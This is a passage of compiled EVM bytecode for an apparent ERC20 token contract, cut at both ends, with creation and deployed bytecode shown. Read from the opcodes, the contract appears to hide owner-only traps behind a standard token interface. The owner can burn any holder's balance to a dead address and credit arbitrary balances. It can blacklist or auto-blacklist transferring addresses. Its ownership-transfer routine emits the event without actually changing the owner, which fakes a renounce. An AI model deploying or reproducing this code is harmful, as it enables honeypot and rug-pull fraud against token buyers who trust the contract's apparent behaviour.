fffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612ceb565b60405180910390fd5b6000603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461078c90612d3a565b80601f01602080910402602001604051908101604052809291908181526020018280546107b890612d3a565b80156108055780601f106107da57610100808354040283529160200191610805565b820191906000526020600020905b8154815290600101906020018083116107e857829003601f168201915b5050505050905090565b60008061081a611a9a565b9050610827818585611aa2565b600191505092915050565b603c60009054906101000a900460ff1681565b6000600454905090565b603860009054906101000a900460ff1681565b60008061086d611a9a565b905061087a858285611c6b565b610885858585611cf7565b60019150509392505050565b60395481565b60006012905090565b6000806108ab611a9a565b90506108cc8185856108bd8589611333565b6108c79190612d9a565b611aa2565b600191505092915050565b6108df611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390612ceb565b60405180910390fd5b80603c60006101000a81548160ff02191690831515021790555050565b610991611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1590612ceb565b60405180910390fd5b6001603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a83611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612ceb565b60405180910390fd5b81603c60026101000a81548160ff02191690831515021790555082905092915050565b610b3b611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90612ceb565b60405180910390fd5b6000811015610bd657600080fd5b6064811115610be457600080fd5b80603b8190555050565b610bf6611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90612ceb565b60405180910390fd5b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b603a5481565b610d35611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db990612ceb565b60405180910390fd5b8060398190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610e0490612d3a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3090612d3a565b8015610e7d5780601f10610e5257610100808354040283529160200191610e7d565b820191906000526020600020905b815481529060010190602001808311610e6057829003601f168201915b5050505050905090565b610e8f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612ceb565b60405180910390fd5b80603860006101000a81548160ff02191690831515021790555050565b600080610f44611a9a565b90506000610f528286611333565b905083811015610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612e40565b60405180910390fd5b610fa48286868403611aa2565b60019250505092915050565b600080610fbb611a9a565b9050610fc8818585611cf7565b600191505092915050565b610fdb611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90612ceb565b60405180910390fd5b80603a8190555050565b603c60029054906101000a900460ff1681565b61108d611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111190612ceb565b60405180910390fd5b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061117f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390612ceb565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b61125e611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612ceb565b60405180910390fd5b80603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b603b5481565b6113c8611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c90612ceb565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a09190612d9a565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6114ef611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612ceb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115b557600080fd5b60006115bf610dcc565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611627611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90612ceb565b60405180910390fd5b80603c60016101000a81548160ff02191690831515021790555050565b6116d9611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90612ceb565b60405180910390fd5b61176e610dcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d290612eac565b60405180910390fd5b600061dead9050670de0b6b3a7640000826117f69190612ecc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611952576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190a9190612d9a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a95565b670de0b6b3a7640000826119669190612ecc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b09190612f26565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000082611a079190612ecc565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a519190612d9a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0890612fcc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779061305e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c5e9190612aca565b60405180910390a3505050565b6000611c778484611333565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611cf15781811015611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906130ca565b60405180910390fd5b611cf08484848403611aa2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d9061315c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc906131ee565b60405180910390fd5b603c60019054906101000a900460ff1615611f78576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613280565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f069190612d9a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f6a9190612aca565b60405180910390a350611f8e565b611f828382611f93565b611f8d838383612254565b5b505050565b611f9b610dcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120205750603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561225057603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120d657600080fd5b6000603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561216b57603760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561216a57600080fd5b5b600060395411156121865760395481111561218557600080fd5b5b603860009054906101000a900460ff16156121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd906132ec565b60405180910390fd5b6000603a54111561223057603a54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561222f57600080fd5b5b603c60009054906101000a900460ff161561224f5761224e82612872565b5b5b5050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90613358565b60405180910390fd5b600061dead90506122e5610dcc565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561236a5750603560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156126ea5760006064603b54846123b99190612ecc565b6123c391906133a7565b9050600081846123d39190612f26565b905080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124209190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ae9190612d9a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254e9190612aca565b60405180910390a36000603b5411156126e35781600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac9190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263a9190612d9a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126da9190612aca565b60405180910390a35b505061286c565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127359190612f26565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c39190612d9a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128639190612aca565b60405180910390a35b50505050565b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128fd826128d2565b9050919050565b61290d816128f2565b811461291857600080fd5b50565b60008135905061292a81612904565b92915050565b600060208284031215612946576129456128cd565b5b60006129548482850161291b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561299757808201518184015260208101905061297c565b60008484015250505050565b6000601f19601f8301169050919050565b60006129bf8261295d565b6129c98185612968565b93506129d9818560208601612979565b6129e2816129a3565b840191505092915050565b60006020820190508181036000830152612a0781846129b4565b905092915050565b6000819050919050565b612a2281612a0f565b8114612a2d57600080fd5b50565b600081359050612a3f81612a19565b92915050565b60008060408385031215612a5c57612a5b6128cd565b5b6000612a6a8582860161291b565b9250506020612a7b85828601612a30565b9150509250929050565b60008115159050919050565b612a9a81612a85565b82525050565b6000602082019050612ab56000830184612a91565b92915050565b612ac481612a0f565b82525050565b6000602082019050612adf6000830184612abb565b92915050565b600080600060608486031215612afe57612afd6128cd565b5b6000612b0c8682870161291b565b9350506020612b1d8682870161291b565b9250506040612b2e86828701612a30565b9150509250925092565b600060ff82169050919050565b612b4e81612b38565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612a85565b8114612b8357600080fd5b50565b600081359050612b9581612b6f565b92915050565b600060208284031215612bb157612bb06128cd565b5b6000612bbf84828501612b86565b91505092915050565b60008060408385031215612bdf57612bde6128cd565b5b6000612bed8582860161291b565b9250506020612bfe85828601612b86565b9150509250929050565b612c11816128f2565b82525050565b6000602082019050612c2c6000830184612c08565b92915050565b600060208284031215612c4857612c476128cd565b5b6000612c5684828501612a30565b91505092915050565b60008060408385031215612c7657612c756128cd565b5b6000612c848582860161291b565b9250506020612c958582860161291b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cd5602083612968565b9150612ce082612c9f565b602082019050919050565b60006020820190508181036000830152612d0481612cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d5257607f821691505b602082108103612d6557612d64612d0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612da582612a0f565b9150612db083612a0f565b9250828201905080821115612dc857612dc7612d6b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e2a602583612968565b9150612e3582612dce565b604082019050919050565b60006020820190508181036000830152612e5981612e1d565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000612e96600c83612968565b9150612ea182612e60565b602082019050919050565b60006020820190508181036000830152612ec581612e89565b9050919050565b6000612ed782612a0f565b9150612ee283612a0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1b57612f1a612d6b565b5b828202905092915050565b6000612f3182612a0f565b9150612f3c83612a0f565b9250828203905081811115612f5457612f53612d6b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb6602483612968565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613048602283612968565b915061305382612fec565b604082019050919050565b600060208201905081810360008301526130778161303b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006130b4601d83612968565b91506130bf8261307e565b602082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613146602583612968565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d8602383612968565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061326a602683612968565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b60006132d6600583612968565b91506132e1826132a0565b602082019050919050565b60006020820190508181036000830152613305816132c9565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000613342601583612968565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133b282612a0f565b91506133bd83612a0f565b9250826133cd576133cc613378565b5b82820490509291505056fea26469706673582212209a6588cfa09bfca4e4f35b837ba24d0053e984c10d66d3199886b00941d543dd64736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102065760003560e01c806389fe85071161011a578063ce1fd380116100ad578063ddca3f431161007c578063ddca3f43146105ff578063de8f15171461061d578063f2fde38b14610639578063f865d99b14610655578063fb8bd26f1461067157610206565b8063ce1fd38014610567578063d5aed6bf14610583578063d6e3b886146105b3578063dd62ed3e146105cf57610206565b8063a457c2d7116100e9578063a457c2d7146104cd578063a9059cbb146104fd578063ae96ffe61461052d578063b70c28411461054957610206565b806389fe8507146104595780638da5cb5b1461047557806395d89b4114610493578063a1c61f50146104b157610206565b8063313ce5671161019d578063661751f91161016c578063661751f9146103a357806369fe0e2d146103d35780636d2f2ed6146103ef57806370a082311461040b578063860aefcf1461043b57610206565b8063313ce5671461031d578063395093511461033b57806359fa6d721461036b578063632445551461038757610206565b806318160ddd116101d957806318160ddd14610293578063228cb733146102b157806323b872dd146102cf57806327722f6a146102ff57610206565b8063032049891461020b57806306fdde0314610227578063095ea7b3146102455780630f953cca14610275575b600080fd5b61022560048036038101906102209190612930565b61068d565b005b61022f61077d565b60405161023c91906129ed565b60405180910390f35b61025f600480360381019061025a9190612a45565b61080f565b60405161026c9190612aa0565b60405180910390f35b61027d610832565b60405161028a9190612aa0565b60405180910390f35b61029b610845565b6040516102a89190612aca565b60405180910390f35b6102b961084f565b6040516102c69190612aa0565b60405180910390f35b6102e960048036038101906102e49190612ae5565b610862565b6040516102f69190612aa0565b60405180910390f35b610307610891565b6040516103149190612aca565b60405180910390f35b610325610897565b6040516103329190612b54565b60405180910390f35b61035560048036038101906103509190612a45565b6108a0565b6040516103629190612aa0565b60405180910390f35b61038560048036038101906103809190612b9b565b6108d7565b005b6103a1600480360381019061039c9190612930565b610989565b005b6103bd60048036038101906103b89190612bc8565b610a79565b6040516103ca9190612c17565b60405180910390f35b6103ed60048036038101906103e89190612c32565b610b33565b005b61040960048036038101906104049190612930565b610bee565b005b61042560048036038101906104209190612930565b610cde565b6040516104329190612aca565b60405180910390f35b610443610d27565b6040516104509190612aca565b60405180910390f35b610473600480360381019061046e9190612c32565b610d2d565b005b61047d610dcc565b60405161048a9190612c17565b60405180910390f35b61049b610df5565b6040516104a891906129ed565b60405180910390f35b6104cb60048036038101906104c69190612b9b565b610e87565b005b6104e760048036038101906104e29190612a45565b610f39565b6040516104f49190612aa0565b60405180910390f35b61051760048036038101906105129190612a45565b610fb0565b6040516105249190612aa0565b60405180910390f35b61054760048036038101906105429190612c32565b610fd3565b005b610551611072565b60405161055e9190612aa0565b60405180910390f35b610581600480360381019061057c9190612930565b611085565b005b61059d60048036038101906105989190612930565b611175565b6040516105aa9190612aa0565b60405180910390f35b6105cd60048036038101906105c89190612a45565b611256565b005b6105e960048036038101906105e49190612c5f565b611333565b6040516105f69190612aca565b60405180910390f35b6106076113ba565b6040516106149190612aca565b60405180910390f35b61063760048036038101906106329190612a45565b6113c0565b005b610653600480360381019061064e9190612930565b6114e7565b005b61066f600480360381019061066a9190612b9b565b61161f565b005b61068b60048036038101906106869190612a45565b6116d1565b005b610695611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612ceb565b60405180910390fd5b6000603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461078c90612d3a565b80601f01602080910402602001604051908101604052809291908181526020018280546107b890612d3a565b80156108055780601f106107da57610100808354040283529160200191610805565b820191906000526020600020905b8154815290600101906020018083116107e857829003601f168201915b5050505050905090565b60008061081a611a9a565b9050610827818585611aa2565b600191505092915050565b603c60009054906101000a900460ff1681565b6000600454905090565b603860009054906101000a900460ff1681565b60008061086d611a9a565b905061087a858285611c6b565b610885858585611cf7565b60019150509392505050565b60395481565b60006012905090565b6000806108ab611a9a565b90506108cc8185856108bd8589611333565b6108c79190612d9a565b611aa2565b600191505092915050565b6108df611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390612ceb565b60405180910390fd5b80603c60006101000a81548160ff02191690831515021790555050565b610991611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1590612ceb565b60405180910390fd5b6001603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a83611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612ceb565b60405180910390fd5b81603c60026101000a81548160ff02191690831515021790555082905092915050565b610b3b611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90612ceb565b60405180910390fd5b6000811015610bd657600080fd5b6064811115610be457600080fd5b80603b8190555050565b610bf6611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90612ceb565b60405180910390fd5b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b603a5481565b610d35611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db990612ceb565b60405180910390fd5b8060398190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610e0490612d3a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3090612d3a565b8015610e7d5780601f10610e5257610100808354040283529160200191610e7d565b820191906000526020600020905b815481529060010190602001808311610e6057829003601f168201915b5050505050905090565b610e8f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612ceb565b60405180910390fd5b80603860006101000a81548160ff02191690831515021790555050565b600080610f44611a9a565b90506000610f528286611333565b905083811015610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612e40565b60405180910390fd5b610fa48286868403611aa2565b60019250505092915050565b600080610fbb611a9a565b9050610fc8818585611cf7565b600191505092915050565b610fdb611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90612ceb565b60405180910390fd5b80603a8190555050565b603c60029054906101000a900460ff1681565b61108d611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111190612ceb565b60405180910390fd5b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061117f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390612ceb565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b61125e611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612ceb565b60405180910390fd5b80603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008473f